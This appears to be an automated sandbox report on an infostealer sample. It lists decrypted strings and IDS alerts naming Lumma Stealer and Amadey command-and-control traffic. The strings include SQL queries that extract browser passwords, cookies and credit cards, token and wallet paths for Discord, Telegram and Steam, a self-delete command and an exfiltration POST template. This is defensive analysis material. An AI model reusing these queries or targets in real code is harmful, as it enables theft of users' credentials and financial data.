Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: sqlite3_column_blob
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: encrypted_key
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: PATH
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: NSS_Init
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: NSS_Shutdown
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: PK11_FreeSlot
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: PK11_Authenticate
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: C:\ProgramData\
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: browser:
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: profile:
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: url:
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: login:
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: password:
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: Opera
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: OperaGX
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: Network
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: cookies
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: .txt
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: TRUE
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: FALSE
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: autofill
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: history
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: cc
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: name:
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: month:
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: year:
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: card:
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: Cookies
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: Login Data
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: Web Data
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: History
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: logins.json
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: formSubmitURL
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: usernameField
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: encryptedUsername
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: encryptedPassword
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: guid
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: cookies.sqlite
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: formhistory.sqlite
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: places.sqlite
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: plugins
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: Local Extension Settings
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: Sync Extension Settings
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: IndexedDB
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: Opera Stable
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: Opera GX Stable
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: CURRENT
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: chrome-extension_
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: Local State
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: profiles.ini
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: chrome
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: opera
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: firefox
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: wallets
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: ProductName
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: x32
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: x64
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: ProcessorNameString
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: DisplayName
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: DisplayVersion
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: Network Info:
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: - IP: IP?
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: - Country: ISO?
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: System Summary:
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: - HWID:
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: - OS:
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: - Architecture:
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: - UserName:
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: - Computer Name:
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: - Local Time:
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: - UTC:
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: - Language:
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: - Keyboards:
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: - Laptop:
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: - Running Path:
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: - CPU:
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: - Threads:
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: - Cores:
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: - RAM:
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: - Display Resolution:
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: - GPU:
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: User Agents:
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: Installed Apps:
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: All Users:
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: Current User:
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: Process List:
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: system_info.txt
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: freebl3.dll
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: mozglue.dll
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: msvcp140.dll
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: nss3.dll
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: softokn3.dll
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: vcruntime140.dll
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: \Temp\
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: .exe
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: runas
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: open
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: /c start
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: %DESKTOP%
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: %APPDATA%
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: %USERPROFILE%
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: %DOCUMENTS%
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: %PROGRAMFILES%
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: %RECENT%
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: *.lnk
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: files
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: \discord\
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: \Telegram Desktop\
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: key_datas
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: map*
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: Telegram
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: Tox
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: *.tox
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: *.ini
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: Password
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: 00000001
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: 00000002
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: 00000003
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: 00000004
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: Pidgin
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: \.purple\
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: accounts.xml
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: token:
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: Software\Valve\Steam
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: SteamPath
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: \config\
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: ssfn*
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: config.vdf
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: DialogConfig.vdf
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: libraryfolders.vdf
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: loginusers.vdf
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: \Steam\
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: sqlite3.dll
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: browsers
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: done
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: soft
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: https
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: POST
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: HTTP/1.1
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: hwid
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: build
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: token
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: file_name
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: file
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: message
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 48.2.num.exe.2a0000.0.unpack	String decryptor: screenshot.jpg

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49939 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49949 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49958 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49967 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50006 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50011 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50015 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50020 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50033 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50037 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50055 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50060 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50065 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50071 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50072 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50074 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50076 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50078 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50081 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50082 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50084 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50085 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50089 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50107 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50108 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50111 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50119 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50120 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.6:50134 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50136 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50140 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50141 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50139 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.6:50142 version: TLS 1.2

Source:	Binary string: The name of the library's debug file. For example, 'xul.pdb source: firefox.exe, 0000002E.00000003.2993943486.0000020F30A48000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.2998056944.0000020F30A4A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.2996083751.0000020F30A4A000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: "description": "The name of the library's debug file. For example, 'xul.pdb" source: firefox.exe, 0000002E.00000003.2993943486.0000020F30A48000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.2998056944.0000020F30A4A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.2996083751.0000020F30A4A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.2992504945.0000020F3083B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: Found range to be highlighted. Default highlights all ranges.An integer value of button by which menu item was clicked.Stops the profiler and discards any captured profile data.The name of the library's debug file. For example, 'xul.pdbCalled when websites' file systems have been cleared.Whether the new window should be an incognito window.Retrieves information about a single contextual identity.Information about the cookie that was set or removed. source: firefox.exe, 0000002E.00000003.2996083751.0000020F30A4A000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: my_library.pdbU source: b76bb5cee7.exe, 0000000A.00000003.2721535335.00000000050CB000.00000004.00001000.00020000.00000000.sdmp, b76bb5cee7.exe, 0000000A.00000002.2766160676.0000000000ACC000.00000040.00000001.01000000.0000000F.sdmp, b76bb5cee7.exe, 0000001D.00000002.2961232929.0000000000ACC000.00000040.00000001.01000000.0000000F.sdmp, b76bb5cee7.exe, 0000001D.00000003.2862123172.000000000524B000.00000004.00001000.00020000.00000000.sdmp, num.exe, 0000001F.00000002.2875624155.00000000002CC000.00000008.00000001.01000000.00000018.sdmp, num.exe, 00000030.00000000.3003390032.00000000002CC000.00000008.00000001.01000000.00000018.sdmp, num[1].exe.5.dr, num.exe.5.dr
Source:	Binary string: my_library.pdb source: b76bb5cee7.exe, 0000000A.00000003.2721535335.00000000050CB000.00000004.00001000.00020000.00000000.sdmp, b76bb5cee7.exe, 0000000A.00000002.2766160676.0000000000ACC000.00000040.00000001.01000000.0000000F.sdmp, b76bb5cee7.exe, 0000001D.00000002.2961232929.0000000000ACC000.00000040.00000001.01000000.0000000F.sdmp, b76bb5cee7.exe, 0000001D.00000003.2862123172.000000000524B000.00000004.00001000.00020000.00000000.sdmp, num.exe, 0000001F.00000002.2875624155.00000000002CC000.00000008.00000001.01000000.00000018.sdmp, num.exe, 00000030.00000000.3003390032.00000000002CC000.00000008.00000001.01000000.00000018.sdmp, num[1].exe.5.dr, num.exe.5.dr
Source:	Binary string: A partial SuggestResult object, without the 'content' parameter.Found range to be highlighted. Default highlights all ranges.An integer value of button by which menu item was clicked.Stops the profiler and discards any captured profile data.The name of the library's debug file. For example, 'xul.pdbCalled when websites' file systems have been cleared.Whether the new window should be an incognito window.Retrieves information about a single contextual identity.Information about the cookie that was set or removed. source: firefox.exe, 0000002E.00000003.2993943486.0000020F30A48000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: YQEN9A9QU4P1VROBPV5YS.exe, 00000003.00000003.2350536379.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp, YQEN9A9QU4P1VROBPV5YS.exe, 00000003.00000002.2483748959.0000000000592000.00000040.00000001.01000000.00000006.sdmp, U2242U1STHGPPKHG.exe, 0000001E.00000003.2873579535.00000000026E0000.00000004.00001000.00020000.00000000.sdmp, U2242U1STHGPPKHG.exe, 0000001E.00000002.3008298151.0000000000632000.00000040.00000001.01000000.00000017.sdmp
Source:	Binary string: Found range to be highlighted. Default highlights all ranges.An integer value of button by which menu item was clicked.Stops the profiler and discards any captured profile data.The name of the library's debug file. For example, 'xul.pdb source: firefox.exe, 0000002E.00000003.2998056944.0000020F30A4A000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe

Directory queried: number of queries: 1474

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 179MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.6:58018 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.6:56521 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.6:58543 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.6:62553 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49710 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.6:65460 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49713 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49712 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49715 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49709 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49714 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49717 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49729 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:49866 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.6:50950 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.6:59497 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.6:61186 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:49881
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49939 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49943 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49949 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.6:52153 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49958 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49967 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49978 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49989 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50000 -> 188.114.96.3:443
